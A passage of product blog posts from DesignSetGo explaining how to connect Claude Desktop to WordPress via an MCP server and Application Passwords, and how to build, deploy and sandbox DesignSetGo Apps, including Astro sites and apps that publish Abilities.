The point is auditability. Six weeks from now, when you look at an edited post, a REST API log, or the Application Password list on the profile screen, you should be able to tell which integration touched the site.

#### Step 2: generate an Application Password

In wp-admin:

- Go to **Users -> Profile** for the user Claude should act as.

- Find **Application Passwords**.

- Enter a name like `Claude Desktop MCP`.

- Generate the password.

- Copy it immediately. WordPress shows it only once.

WordPress Application Passwords are tied to a user account, stored as a phpass hash, and individually revocable. They are not browser login passwords. You cannot use one to log into `wp-login.php`; they are meant for API clients and scripts. The feature shipped in WordPress 5.6, so any reasonably current site has it.

One thing to know up front: WordPress disables Application Passwords entirely on sites not served over HTTPS. The feature is gated by `wp_is_application_passwords_available`, which returns false for non-SSL requests. If the **Application Passwords** section is missing on the profile screen, check that the site is actually loading over `https://` before debugging anything else.

Under the hood, requests use HTTP Basic Authentication over HTTPS:

```
curl --user "USERNAME:APPLICATION_PASSWORD" \
  https://example.com/wp-json/wp/v2/users/me
```

That is also the quickest smoke test. If this request fails from your terminal, fix WordPress authentication before you involve Claude Desktop. Common causes are:

- The site is not reachable over HTTPS.

- The Application Password was copied with a missing character.

- The hosting layer strips the `Authorization` header before WordPress sees it. On Apache, search your host's docs for `CGIPassAuth On` or an `HTTP_AUTHORIZATION` rewrite rule; on nginx/FastCGI, look for `fastcgi_pass_header Authorization`.

- The user role does not have the capability needed for the endpoint.

Do not skip this test. MCP debugging is much easier when you already know the WordPress credential works.

#### Step 3: pick or build a WordPress MCP server

Claude Desktop does not become a WordPress client just because you have an Application Password. Something still has to translate a tool call like "create a draft post" into the right REST API request.

That something is the MCP server.

You have three realistic choices:

PathBest forTradeoffUse an existing WordPress MCP serverFastest setupYou must trust its code with your site credentialWrite a small local MCP serverTightest controlYou own the tool definitions and maintenanceUse DesignSetGo CLI for app deployment insteadShipping DSGo appsNot a general-purpose WordPress content connector

If you want to start with something off the shelf, the WordPress community has been publishing MCP servers on npm and GitHub since late 2025. Search `wordpress mcp server` on either, read the tool list before you install, and prefer projects that scope tools narrowly over ones that expose a generic "REST proxy" tool. Treat any third-party server as code you are running locally with your site credential in its environment, so audit it the same way you would audit a wp-cli package.

For a production site, I prefer the second path unless the existing server is from a vendor or project I already trust. A WordPress MCP server does not need to be huge. The safest version exposes a handful of explicit tools:

- `get_site_info`

- `list_recent_posts`

- `get_post`

- `create_draft_post`

- `update_draft_post`

- `upload_media`

Notice what is missing: "run arbitrary REST request." That tool is convenient, but it also erases most of the safety you were trying to get from MCP. Claude should get task-shaped tools, not a blank check to hit every endpoint on the site.

#### Step 4: configure Claude Desktop

Claude Desktop reads local MCP server configuration from `claude_desktop_config.json`. The MCP docs list the standard locations:

```
macOS:   ~/Library/Application Support/Claude/claude_desktop_config.json
Windows: %APPDATA%\Claude\claude_desktop_config.json
```

In Claude Desktop, open **Settings -> Developer -> Edit Config**. Add a server entry for the WordPress MCP server you chose.

The exact `command` and `args` depend on your server. A local Node-based server might look like this:

```
{
  "mcpServers": {
    "wordpress": {
      "command": "node",
      "args": [
        "C:\\Users\\you\\Tools\\wordpress-mcp\\dist\\index.js"
      ],
      "env": {
        "WORDPRESS_URL": "https://example.com",
        "WORDPRESS_USERNAME": "claude-desktop-editor",
        "WORDPRESS_APPLICATION_PASSWORD": "xxxx xxxx xxxx xxxx xxxx xxxx"
      }
    }
  }
}
```

On macOS, the path shape would be different:

```
{
  "mcpServers": {
    "wordpress": {
      "command": "node",
      "args": [
        "/Users/you/Tools/wordpress-mcp/dist/index.js"
      ],
      "env": {
        "WORDPRESS_URL": "https://example.com",
        "WORDPRESS_USERNAME": "claude-desktop-editor",
        "WORDPRESS_APPLICATION_PASSWORD": "xxxx xxxx xxxx xxxx xxxx xxxx"
      }
    }
  }
}
```

If the MCP server is distributed as an npm package, the command might use `npx` instead:

```
{
  "mcpServers": {
    "wordpress": {
      "command": "npx",
      "args": ["-y", "@your-vendor/wordpress-mcp"],
      "env": {
        "WORDPRESS_URL": "https://example.com",
        "WORDPRESS_USERNAME": "claude-desktop-editor",
        "WORDPRESS_APPLICATION_PASSWORD": "xxxx xxxx xxxx xxxx xxxx xxxx"
      }
    }
  }
}
```

The structure is the same: Claude starts a local process, the local process gets the WordPress URL and credential, and the local process exposes tools to Claude.

After saving the file, fully quit and restart Claude Desktop. The local server is loaded on startup. If it works, Claude Desktop shows the MCP server indicator near the message input, and the server's tools appear there.

The first time Claude invokes a tool, Claude Desktop prompts you with **Allow Once**, **Allow for This Chat**, or **Always Allow**. That dialog is the safety surface. Default to **Allow Once** while you are learning a new server, graduate to **Allow for This Chat** once you trust the tool shape, and reserve **Always Allow** for read-only tools.

#### Step 5: test read-only first

Start with a tool that cannot change anything.

Good first prompts:

```
Use the WordPress tool to show me the site name and REST API URL.
```

```
Use the WordPress tool to list the five most recent draft posts. Do not edit anything.
```

```
Use the WordPress tool to fetch the post titled "About". Summarize what fields the API returned.
```

This does two things. First, it proves the MCP server is connected. Second, it lets you see how Claude describes and requests tool calls before anything has write access.

Then test a low-risk write:

```
Create a draft post titled "Claude Desktop WordPress connection test" with one paragraph that says this is a connection test. Leave it as draft.
```

Check wp-admin manually. Confirm the author, status, title, and content are exactly what you expected. Then delete the test post.

#### The security rules I would not bend

Application Passwords are convenient because they are revocable. That does not make them casual.

Use these rules:

- **Use HTTPS only.** Basic Auth sends credentials in the request header, so the transport has to be encrypted.

- **Use a dedicated WordPress user.** Do not attach Claude Desktop to your personal admin account unless the workflow truly needs it. This matters more than it looks: Application Passwords bypass two-factor authentication entirely, so an App Password on your admin account is effectively a 2FA bypass for that account. A separate user with a smaller role contains the blast radius.

- **Scope by role.** If the MCP server only drafts posts, the WordPress user should not be able to install plugins.

- **Prefer narrow tools.** `create_draft_post` is safer than `request_any_endpoint`.

- **Keep credentials out of prompts.** The Application Password belongs in the MCP server environment, not pasted into Claude.

- **Review write actions.** Claude Desktop's approval prompts are part of the safety model. Read them.

- **Rotate when in doubt.** Revoke the Application Password from the user profile and create a new one.

The most important one is the tool boundary. A well-shaped MCP server gives Claude a vocabulary. A sloppy one gives Claude a socket.

#### Where DesignSetGo Apps fits

If your goal is "let Claude manage my whole WordPress site," a WordPress MCP server is the right mental model.

If your goal is "let Claude build and deploy a sandboxed app to my WordPress site," DesignSetGo Apps gives you a narrower and more useful path:

```
npx designsetgo apps login example.com
npx designsetgo apps deploy --build
```

That workflow can still use an Application Password behind the scenes for deployment, but the deployed app does not carry that credential. Once the app is installed, it talks to WordPress through the DSGo bridge:

```
import { dsgo } from '@designsetgo/app-client';

await dsgo.ready;
const posts = await dsgo.posts.list({ per_page: 5 });
```

The app declares what it needs in `dsgo-app.json`, WordPress shows the install dialog, and the runtime enforces the permission buckets. That is different from a Claude Desktop MCP server. MCP is for Claude as an operator. The DSGo bridge is for an installed app running safely on your site.

Both can exist in the same workflow:

- Claude Desktop uses MCP to inspect the site and understand the content model.

- Claude Code or another local agent builds the DSGo App.

- The DSGo CLI deploys the bundle.

- The installed app uses the bridge, not a WordPress Application Password.

That last line is load-bearing. Never ship an Application Password inside a front-end bundle.

#### Troubleshooting checklist

If Claude Desktop does not show the WordPress tools:

- Confirm `claude_desktop_config.json` is valid JSON.

- Restart Claude Desktop completely, not just the conversation window.

- Use absolute paths in `args`.

- Check the Claude Desktop MCP logs. The MCP docs list `%APPDATA%\Claude\logs` on Windows and `~/Library/Logs/Claude` on macOS.

- Run the MCP server command manually in a terminal and fix any startup errors there first.

If the tools appear but WordPress requests fail:

- Run the `curl --user` test directly.

- Confirm the site URL has no trailing path typo.

- Confirm the hosting stack forwards the `Authorization` header.

- Confirm the Application Password belongs to the username you configured.

- Confirm the user has the capability for the endpoint Claude is trying to use.

If writes work but feel too broad:

- Remove generic tools from the MCP server.

- Add read-only tools for context gathering.

- Split write tools by intent: `create_draft_post`, `update_draft_post`, `upload_media`.

- Require draft status by default, then publish manually in wp-admin.

#### The practical answer

The safest setup is not "Claude plus my WordPress password." It is:

- A dedicated WordPress user.

- A revocable Application Password for that user.

- A local MCP server with narrow WordPress tools.

- Claude Desktop configured to launch that server.

- Manual review before write actions.

That gives Claude enough reach to be useful without giving it the keys to the building. It can read your site's structure, draft content, upload media, and help maintain pages. WordPress still enforces roles and capabilities. You can revoke the integration without changing your real password. And if you are building DSGo Apps, you have an even cleaner runtime boundary after deployment: the bridge, the manifest, and the install dialog.

MCP is the adapter. The Application Password is the credential. Keep those roles separate, and the whole setup gets much easier to reason about.

#### References

- [Model Context Protocol: Connect to local MCP servers](https://modelcontextprotocol.io/docs/develop/connect-local-servers)

- [Claude docs: Model Context Protocol](https://claude.com/docs/connectors/building/mcp)

- [WordPress REST API Handbook: Authentication](https://developer.wordpress.org/rest-api/using-the-rest-api/authentication/)

- [WordPress Advanced Administration Handbook: Application Passwords](https://developer.wordpress.org/advanced-administration/security/application-passwords/)

### Create an Astro site on WordPress in 12 minutes (Claude Code does the typing)

URL: https://designsetgo.dev/blog/create-an-astro-site-on-wordpress/
Published: 2026-04-29 · Nealey

You picked Astro because the output is fast, static, and crawlable. Then you hit the wall every Astro dev hits on day three.

The client wants to edit copy. They want a media library, comments, search, sitemaps, an SEO plugin, a contact form, a checkout. They already pay for those inside WordPress.

So you have two options. Reinvent that stack on a headless service (Sanity, Contentful, Strapi, plus Vercel, plus Auth0, plus Stripe), wire it with REST and CORS and a reverse proxy, and quote the client another $80 to $300 a month on top of the build fee. Or ship the site, hand it off, and watch them never edit it because wp-admin is the only editor they know.

Most Astro sites die the second way. The handoff kills them. Content goes stale. The freelancer gets blamed. The next site goes back to a page builder.

#### A different shape

DesignSetGo Apps inverts the diagram. You build the Astro site the way you already build Astro sites. You deploy it as a DSGo App into the client’s existing WordPress install. The Astro bundle becomes the front-end. WordPress becomes the back-end you didn’t have to write, host, or bill for.

Same domain. One deploy. Real HTML at real URLs. Editor sees wp-admin. Visitor sees Astro. Crawler sees fully-rendered pages with proper meta tags.

Built on WordPress 7.0’s Connectors API, WP AI Client, and Abilities API. Translation: the site admin sets up Anthropic or OpenAI credentials once in `Settings -> Connectors`. Your Astro app calls `dsgo.ai.prompt()`. Keys never enter your bundle. DesignSetGo never sees them; we don’t proxy inference, we don’t mark it up.

#### What you actually get

Every route in your Astro project becomes a real HTML page at a real URL on the WordPress domain. Search engines see fully-rendered HTML at `https://yoursite.com/apps/your-slug/whatever`. No iframe. No client-side rehydration trick the crawler has to solve.

Inside those pages, the `@designsetgo/app-client` bridge gives you typed, permissioned access to the WordPress runtime:

- `dsgo.posts.list()` and `dsgo.pages.get()` for content

- `dsgo.user.current()` and `dsgo.user.can()` for the logged-in visitor

- `dsgo.ai.prompt()` routed through the site’s AI Connector, no API keys in your bundle

- `dsgo.commerce.products.list()` against the site’s WooCommerce

- `dsgo.media.upload()` straight into the WP media library

- `dsgo.storage.app.set()` for app-scoped persistence (and `.user` for per-visitor)

- `dsgo.email.send()` through `wp_mail()`, so installed SMTP plugins handle delivery

- `dsgo.abilities.invoke()` to call into Yoast, WooCommerce, or any plugin that publishes Abilities

Everything is gated by what your `dsgo-app.json` manifest declares. Nothing is ambient. Nothing leaks.

#### Step 1: let Claude Code scaffold it

Open Cursor, Claude Code, Aider, or Claude Desktop in an empty folder. Tell the agent to scaffold a DesignSetGo App with the Astro starter. It will run:

```
npx designsetgo apps init my-astro-site --astro
cd my-astro-site
npm install
```

Pass `--astro` and the starter *is* an Astro project. (Without the flag, you get the single-file minimal starter, which is the right pick for one-pager widgets but not what you want here.) `astro.config.mjs` arrives pre-wired:

```
import { defineConfig } from 'astro/config';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';

const manifest = JSON.parse(
  readFileSync(fileURLToPath(new URL('./dsgo-app.json', import.meta.url)), 'utf8'),
);

export default defineConfig({
  site: 'https://localhost',
  base: `/apps/${manifest.id}/`,
  output: 'static',
  trailingSlash: 'always',
  build: { format: 'directory' },
  vite: {
    build: {
      // DSGo's HTML sanitizer rejects inline scripts; force Vite to emit
      // every JS module as an external asset referenced via <script src="...">.
      assetsInlineLimit: 0,
    },
  },
});
```

The `base` matches the URL the plugin mounts at. Astro rewrites asset URLs accordingly, so you write `<a href={...}>` and import stylesheets without thinking about prefixes. The `assetsInlineLimit: 0` line is load-bearing: without it, Vite inlines small JS modules into `<script>` bodies and the DSGo sanitizer rejects the bundle at install.

The starter also drops in `dsgo-app.json` with routes pre-declared, a `Layout.astro`, three example pages, and a `CLAUDE.md` that teaches Claude Code (and every other agent) the bridge surface and manifest schema. The agent reads that file before it writes a line. That’s the thing that makes this fast.

#### Step 2: write pages like any Astro site

Add pages under `src/pages/`. Add the matching entry to the manifest’s `routes` array so the plugin knows about them:

```
{
  "routes": [
    { "path": "/",        "file": "index.html",         "title": "Home" },
    { "path": "/about",   "file": "about/index.html",   "title": "About" },
    { "path": "/pricing", "file": "pricing/index.html", "title": "Pricing" }
  ]
}
```

Astro emits one HTML file per route under `dist/`. The manifest’s `file` field points at that output. With `format: 'directory'`, a page at `src/pages/about.astro` lands at `dist/about/index.html`.

For inter-page links, use Astro’s base-aware `import.meta.env.BASE_URL`:

```
<a href={`${import.meta.env.BASE_URL}pricing`}>Pricing</a>
```

#### Step 3: pull WordPress data into your pages

This is where it stops feeling static and starts feeling like an app.

Drop a `<script>` block, import the bridge client, call methods. The bridge runs in the browser at view time, so the page itself stays a pure static asset the crawler is happy with.

```
---
import Layout from '../layouts/Layout.astro';
---
<Layout title="Latest posts">
  <h1>From the blog</h1>
  <ul id="posts"></ul>
</Layout>

<script>
  import { dsgo } from '@designsetgo/app-client';

  await dsgo.ready;
  const { items } = await dsgo.posts.list({ per_page: 5 });

  const ul = document.getElementById('posts');
  for (const post of items) {
    const li = document.createElement('li');
    const a = document.createElement('a');
    a.href = post.link;
    a.textContent = post.title;
    li.appendChild(a);
    ul.appendChild(li);
  }
</script>
```

Declare the permission in your manifest:

```
"permissions": { "read": ["posts"], "write": [] }
```

The pattern generalizes. Current user’s name in the header? Add `"user"` to `permissions.read` and call `dsgo.user.current()`. Render full post HTML with WordPress block stylesheets? Add `"content": { "blockStyles": ["core", "auto"] }` and call `dsgo.content.applyBlockStyles(post)` after setting `innerHTML`. Invoke an LLM? Add `"ai"` to `permissions.read` plus an `"ai"` capability block, then `dsgo.ai.prompt({...})`. The site’s AI Connector handles the API call. You never touch keys.

#### Step 4: live-source dynamic routes

Astro’s content collections are great when you control the content. But the WordPress site is the source of truth, and you don’t want to redeploy every time the editor publishes a post.

Declare a route with a `:param` placeholder, point it at a built-in dataset source:

```
{
  "path": "/posts/:slug",
  "file": "post/index.html",
  "dataset": { "source": "wp:posts", "id_field": "slug" }
}
```

Now `https://yoursite.com/apps/my-astro-site/posts/hello-world/` resolves at request time. The plugin looks up the post by slug, substitutes `{{title.rendered}}`, `{{excerpt.rendered}}`, `{{content.rendered}}` into your single `post/index.html` template, and serves it. (The fields are nested because the row shape mirrors WP REST; dot-notation walks the object.) One HTML file in your bundle. Every post on the site. Built-in sources cover `wp:posts`, `wp:pages`, `wp:cpt:<slug>`, and `wc:products`. Custom resolvers register through a WP filter.

Dynamic routes are Pro, so are `ai.prompt`, `abilities.invoke`, write methods, cron, and webhooks. Free gets one active app, the read-only bridge (`posts`, `pages`, `user`), and HTML upload. Pro adds CLI deploy plus everything in this post. 14-day trial, then license per site.

#### Step 5: deploy in one command

```
npx designsetgo apps login --site https://yoursite.com
npx designsetgo apps deploy --build
```

`--build` runs `astro build` first, then the CLI zips `dist/`, validates the manifest against the v1 schema, and posts the bundle to your site’s REST endpoint. Same slug, same URL, idempotent updates.

Open `https://yoursite.com/apps/my-astro-site/`. The site is live. View source: real HTML, real `<title>`, real meta tags, real internal links. Crawlable. Linkable. Shareable.

The whole loop, `init` to deployed, runs in about 12 minutes when Claude Code or Cursor is driving. The agent reads `CLAUDE.md`, writes the pages, edits the manifest, runs build and deploy. You watch.

#### The “this is the whole site” move

Everything above lives at `/apps/<slug>/`. That’s the right default for adding a tool, a microsite, or a marketing surface next to an existing WP install. If you want the Astro app to *be* the site, set:

```
"mount": { "mode": "root" }
```

The app now serves at `/` directly. No `/apps/` prefix. No slug. Your Astro routes own the URLs the WordPress front-end would otherwise serve. Any path WP would have 404’d on falls through to your route table. Real WP pages, posts, archives, and feeds still win; root mode adds, it doesn’t shadow. The editor keeps publishing in wp-admin. The front-end stays yours.

This is where DesignSetGo Apps stops being “host an Astro site on WordPress” and starts being “WordPress is the headless CMS for your Astro site, same domain, no rewrite layer.” Editor doesn’t notice. Visitor doesn’t notice. You get every WordPress superpower at the bridge boundary, on a front-end you actually wanted to write.

#### Why this beats headless

Typical headless setup: Astro on Vercel, WordPress on a different host, REST or GraphQL across the network, CORS, a separate auth story, a separate deploy pipeline, a reverse proxy to fake one domain. Each layer has a failure mode. Each layer has a bill. Client pays roughly $80 to $300 a month on top of WordPress hosting. You maintain it forever, or you don’t, and it rots.

DesignSetGo Apps collapses the diagram. Astro and WordPress live at the same origin because they *are* the same origin. Your bundle is served by WordPress as a static asset, under the hosting plan the client already pays for. The “API” is a same-window bridge call: no network hop, no CORS, no token exchange. Auth is whatever the visitor already has with WordPress. Deploy is one command. The bill is whatever they were already paying.

#### Ship one this afternoon

Pick a client site. Open Claude Code or Cursor in an empty folder. Run `npx designsetgo apps init`. Start the 14-day Pro trial when you’re ready to deploy. Your first Astro-on-WordPress site lands at a real URL, on the client’s existing hosting, in the time it used to take to set up the headless plumbing.

- The [manifest reference](https://designsetgo.dev/docs/manifest) for the full `dsgo-app.json` schema

- The [bridge API reference](https://designsetgo.dev/docs/bridge-api) for every method, error code, and permission scope

- [Build a WordPress app with Claude Code in 15 minutes](./2026-05-08-build-a-wordpress-app-with-claude-code.md) walks the same loop with an agent driving end to end

- [Apps as Abilities](./2026-05-08-apps-as-abilities.md) covers the inverse: how the Astro app you just built can publish functions the site’s AI agent can call

### Apps as Abilities

URL: https://designsetgo.dev/blog/apps-as-abilities/
Published: 2026-04-29 · Nealey

I want to talk about the part of DesignSetGo Apps that I think is the most underrated, because it took me a while to fully see it myself.

WordPress 7.0 (May 2026) brought three pieces together: the **Connectors API** (one place to configure your AI provider), the **WP AI Client** (a provider-agnostic PHP API for calling the model), and the client-side half of the **Abilities API**, a way to register functions the site's AI agent can invoke. The server-side Abilities API actually landed earlier in WP 6.9 (Nov 2025), and Yoast SEO Premium 27.5 was already shipping abilities like `analyze_page_seo` and `suggest_internal_links` by April 2026. Plugins are becoming things you talk to, not just things you click around in.

DSGo Apps plugs into all three of those. Apps you build can prompt the model via `dsgo.ai.prompt()`. No API keys to manage; the site's configured Connector handles it. That part's table stakes for any plugin in the WP 7.0 era.

The interesting part is the other direction.

#### Apps that publish abilities

A DSGo App can declare in its manifest that it publishes one or more abilities:

```
{
  "id": "recipe-converter",
  "isolation": "iframe",
  "abilities": {
    "publishes": [
      {
        "name": "recipe-converter/convert-units",
        "label": "Convert recipe units",
        "description": "Convert recipe measurements between metric and imperial.",
        "category": "content",
        "input_schema": { "type": "object", "properties": { "recipe": { "type": "string" } }, "required": ["recipe"] },
        "output_schema": { "type": "object" },
        "annotations": { "readonly": true, "destructive": false, "idempotent": true }
      }
    ]
  }
}
```

A few rules worth knowing: ability names are namespaced under your app's id (`recipe-converter/*`, never another app's), and publishing is **iframe-mode only** in v1, because inline-mode apps run too entangled with the page to host an isolated handler. Max eight publishes per app.

When the app installs, the plugin registers each ability with WordPress's Abilities API. From that point on, the site's AI agent (running in wp-admin via `@wordpress/abilities`) can discover `recipe-converter/convert-units` and invoke it without knowing or caring that it's implemented by a sandboxed iframe. The publisher mounts a hidden iframe of your app on demand, dispatches the call across the bridge, and returns the result.

The user asks the site's agent: *"Convert this recipe to metric."* The agent finds `recipe-converter/convert-units`, calls it, your handler runs in its sandbox, returns structured data, the agent uses the data to answer.

You wrote a few hundred lines of HTML and JS. You got back a function the site's AI agent can call.

(One honest caveat for v1: the live handler runs in a browser context, because that's where `executeAbility` is async and can wait for the iframe roundtrip. Server-side callers like WP-CLI, cron, or PHP-context AI Client invocations get a structured `client_only_ability` error pointing them at the browser-side surface. The launch demo is the in-admin AI agent, which is browser-context.)

#### Why this is structural, not a feature

A static iframe app is useful but limited. It's something a person navigates to. It has a URL. Maybe it's embedded in a post. It's a destination.

An app that publishes abilities is something an *agent* can use. It's not a destination; it's a verb. It has a function signature. It composes with other abilities. The site's AI doesn't need to know the app exists; it just needs to know `recipe-converter/convert-units` is a thing it can do, and the rest gets handled.

That's the inversion. Apps stop being things users find and start being things agents reach for.

A few concrete shapes this enables:

- **Vertical packs.** A real-estate-themed bundle ships ten apps, each publishing 2-3 abilities (listings search, mortgage math, local market data). Drop the bundle in. Suddenly the site's agent knows everything about the niche.

- **Customer-specific tools.** A freelancer builds an agency client a tool that knows their internal product taxonomy, their pricing logic, their bespoke quirks. The client's site agent calls it the same way it calls SEO abilities, with no special integration.

- **Agent compositions.** Two apps publishing complementary abilities can be chained by the agent without the apps knowing about each other. You don't build the integration; the agent does.

The same plugin that installs a calculator can install an ability. The runtime is identical. The trust model (manifest-declared, user-approved at install) is identical. The deploy command is identical.

#### What this means for DSGo's strategy

WordPress is going to host a lot of agentic workflows over the next few years. The plugins that win are the ones that make it easy to *publish* into that surface, not just consume from it. DSGo Apps is built for that. Every app you ship is a potential ability. Every developer comfortable in Claude Code is a potential ability author. Every WP site running the plugin is a potential agent surface.

I didn't fully appreciate this when I started. The original brief was "let people host vibe-coded apps inside WordPress." The Abilities side was almost a check-the-box addition during the WP 7.0 spec work. But once it shipped, the implications kept widening. An app isn't a thing you put on your site anymore. It's a thing your site can *do.*

That's the moat I'm betting on.

Nealey

For the manifest fields and validation rules around `abilities.publishes`, see the [manifest reference](https://designsetgo.dev/docs/#manifest). For the consume side (`dsgo.abilities.list/invoke` and `dsgo.ai.prompt`), see the [bridge API reference](https://designsetgo.dev/docs/#bridge).

### Building a WordPress App with Claude Code

URL: https://designsetgo.dev/blog/building-a-wordpress-app-with-claude-code/
Published: 2026-04-28 · Nealey

This is the local-to-WordPress workflow end to end. By the time you're done, you'll have a real app running at `https://yoursite.com/apps/your-slug`, built in Claude Code, with no clicking around in wp-admin.

**You'll need:** Node 20+, a WordPress site with the DesignSetGo Apps plugin installed and activated, an application password for that site, and Claude Code (or any agent; the workflow is the same).

#### 1. Scaffold the project

```
npx designsetgo apps init my-first-app
cd my-first-app
```

`apps init` creates a starter project with:

- A `dsgo-app.json` manifest with sensible defaults

- A typed bridge client (`@designsetgo/app-client`) already wired up

- A minimal `index.html` that proves the bridge works

- A `CLAUDE.md` that teaches the agent your manifest format, the bridge API surface, and the constraints of the sandboxed runtime

That last file is the unlock. It means when you start a Claude Code session in this directory, the agent already knows what it's allowed to call, what permissions to declare, and what shape the manifest takes. You don't have to explain it.

#### 2. Authenticate the CLI

```
npx designsetgo apps login --site https://yoursite.com
```

You'll be prompted for your WordPress username and an application password (generate one in `Users → Profile → Application Passwords` in wp-admin). Credentials get stored at `~/.config/designsetgo/credentials.json`, keyed by site URL. For CI, set `DSGO_USER` and `DSGO_APP_PASSWORD` instead and skip the login step.

#### 3. Open Claude Code and describe what you want

```
claude
```

Once you're in a session, just ask. Something like:

> Build me a tool that lists my five most recent published posts in a clean card layout, with the title, date, and excerpt. Use the bridge client.

Claude reads `CLAUDE.md`, sees the bridge methods, sees the manifest format, and writes the app. It'll know to:

- Add `"posts"` to the manifest's `permissions.read` array

- Import the bridge client and call `dsgo.posts.list({ per_page: 5 })` after `await dsgo.ready`

- Render the response into your HTML

If you've used Claude Code on a typical project, the difference here is how *little* hand-holding it needs. The starter and the `CLAUDE.md` give it everything: typed APIs, runnable dev loop, clear constraints. That's exactly the environment Claude Code is best in.

#### 4. Iterate locally

The starter is an Astro project, so:

```
npm run dev
```

…spins up the standard Astro dev server for editing layout, copy, and any non-bridge UI. Bridge calls won't connect locally (the bridge only exists when your bundle is rendered inside the WordPress runtime), so plan to deploy early and iterate against the real site. Deploys are fast.

#### 5. Deploy

When the app does what you want:

```
npx designsetgo apps deploy --build
```

`--build` runs `npm run build` first so Astro produces a static `dist/`, then the CLI zips that, validates the manifest, posts the bundle to your site's REST endpoint, and prints the URL. Open `https://yoursite.com/apps/my-first-app` and the app's live.

That's it. No Vercel, no Netlify, no DNS, no separate auth. Your WordPress site is the deploy target.

#### 6. List, update, ship again

```
npx designsetgo apps list             # see what's installed
npx designsetgo apps deploy --build   # updates the existing app at the same slug
```

Deploys are idempotent: same slug, same URL, new bundle. You can iterate freely without polluting your site with abandoned apps.

#### What this unlocks

The reason this workflow matters isn't the 15 minutes. It's that the same runtime that ran the bundle you built locally is the runtime your client's site has. You're not "publishing to production" in the dramatic sense. You're just putting a static bundle inside a sandboxed iframe on someone's WordPress site. The blast radius is one app's iframe.

That changes how you think about shipping. Worth getting wrong? Sure, ship it, iterate. Worth handing to a non-technical site owner? Sure, the manifest tells them exactly what permissions it asked for. Worth letting Claude Code build five variants and picking the best one? Sure, deploy each to a different slug.

Static bundles plus a permissioned bridge plus a real deploy target turns out to be a surprisingly powerful surface.

#### Where to go next

- The [manifest reference](https://designsetgo.dev/docs#manifest) for the full `dsgo-app.json` schema

- The [bridge API reference](https://designsetgo.dev/docs/bridge-api) for every bridge method

- The next post in this series covers Apps as Abilities: how the app you just built can publish functions your site's AI agent can invoke

### Why We Run Apps in a Sandbox

URL: https://designsetgo.dev/blog/why-we-run-apps-in-a-sandbox/
Published: 2026-04-28 · Nealey

If you're going to let an AI write code that lives on your WordPress site, you should know exactly what that code can and can't do. "Trust me, the model's pretty good these days" is not an answer.

DesignSetGo Apps was designed around a simple principle: **a misbehaving app should crash itself, not your site.** Here's how the runtime enforces that.

#### The runtime model

Every DSGo App runs inside a sandboxed `<iframe>` with `sandbox="allow-scripts"` and a strict Content Security Policy. The iframe is served from your domain, but the browser treats it as an isolated context. That means an app can't:

- Read or modify the parent page's DOM (your wp-admin, your theme, your other plugins)

- Read cookies or `localStorage` belonging to your site

- Make arbitrary network requests; the CSP whitelists only what the manifest declared

- Spawn popups, navigate the parent frame, or load plugins

- Touch your file system, your database, or any server-side state directly

If an app gets stuck in an infinite loop, throws unhandled errors, or tries to mine cryptocurrency, the only thing affected is that app's iframe. The rest of your site keeps working. Close the tab and the problem's gone.

#### The bridge: explicit permissions, not ambient access

Sandboxing alone would make apps safe but useless. The whole point is that apps should be able to *do* things: list your posts, look up the current user, save preferences. So we built a `postMessage`-based bridge between the iframe and the parent page.

It works like a browser extension. Each app ships with a `dsgo-app.json` manifest declaring which read scopes it needs:

```
{
  "manifest_version": 1,
  "name": "Post Index",
  "permissions": {
    "read": ["posts", "user"],
    "write": []
  }
}
```

Each scope unlocks a specific set of bridge methods. `posts` covers `dsgo.posts.list()` and `dsgo.posts.get()`, `user` covers `dsgo.user.current()` and `dsgo.user.can()`, and so on. When you install the app, you see those scopes. You approve them (or you don't). At runtime, if the app calls a method whose scope isn't in the manifest, the parent hard-fails the request with a permission error. There's no implicit access.

In v1, `permissions.write` must be empty. The bridge is read-only. Write access is reserved for a later version because it's a different trust conversation, and we'd rather ship a tight v1 than a permissive one.

Every method is documented, every error code is documented, every permission scope is named. If you want to know exactly what an app can reach, you read its manifest. No surprises.

#### What's NOT in v1

A couple of things deliberately aren't here yet, because they expand the trust surface:

- **Arbitrary outbound HTTP.** Apps can use the AI bridge (`dsgo.ai.prompt`) to invoke the model your site is connected to via the WordPress 7.0 Connectors API, but they can't make raw `fetch()` calls to wherever they want. Each app's manifest declares an explicit `runtime.external_origins` allowlist (full HTTPS origins, no wildcards), and the CSP enforces it. If an app needs to talk to an external service, it goes through a declared, reviewable path.

- **Server-side execution.** Apps are static bundles. Nothing in an app runs on your server. Your server-side blast radius is zero.

#### Defense in depth

Sandboxing the iframe is the first layer. Permission-gating the bridge is the second. There are a few more:

- **Manifest validation on install.** Bundles get parsed, permissions get checked against the v1 schema, anything malformed gets rejected before it ever lands on your site.

- **Nonce-authenticated bridge requests.** Each session gets a fresh nonce. Replay attacks against the bridge don't work.

- **Capability checks on every call.** Even with a permission granted, the parent enforces the underlying WordPress capability. An app with `posts.list` can't see drafts the current user wouldn't see anyway.

- **No ambient credentials.** Apps don't get your API keys, don't get your application passwords, don't get your session token. They get a scoped bridge and that's it.

#### The plain-English version

You can install an app written by an AI you don't fully trust, generated from a prompt you didn't sweat over, deployed by a teammate you barely supervised, and the worst case is the app doesn't work and you delete it. Your site stays up. Your data stays put. Your other plugins don't notice anything happened.

That's the bar. Everything else is implementation detail.

For the full normative specs, see the [manifest reference](https://designsetgo.dev/docs/#manifest) and the [bridge API reference](https://designsetgo.dev/docs/#bridge). Both are frozen at v1, with additive-only changes going forward.

### You vibe-coded an app in Claude Code. Now get it onto a WordPress site in 60 seconds.

URL: https://designsetgo.dev/blog/introducing-designsetgo-apps/
Published: 2026-04-27 · Nealey

You opened Claude Code on a Tuesday. By lunch you had a working tool: a quote calculator, a booking widget, an internal dashboard, whatever the client asked for. It runs. It looks good. Your agent wrote the whole thing.

Now what.

#### The part nobody documented

Your app lives on your laptop. Your client’s business lives on WordPress. Between those two things sits the gap nobody warned you about.

You could deploy to Vercel. Now your client has two logins, two bills, two analytics dashboards, and a tool that doesn’t know who their customers are. You could ask a developer to “integrate it.” That’s a three-week ticket and a five-figure quote. You could paste the HTML into a Custom HTML block, watch the styles collide with the theme, and tell yourself it’s fine.

It isn’t fine. The vibe-coded app sits on one island. The WordPress site sits on another. The bridge doesn’t exist, so the work doesn’t ship.

#### Why this hurts more than it should

You built the thing in fifteen minutes. The deploy story takes a week. That ratio is wrong.

Worse: the app can’t see your posts. Can’t read your users. Can’t hit your AI provider. Can’t appear in your sitemap, your backups, your CDN, your auth. It’s a stranger renting a room across town from the business it’s supposed to serve.

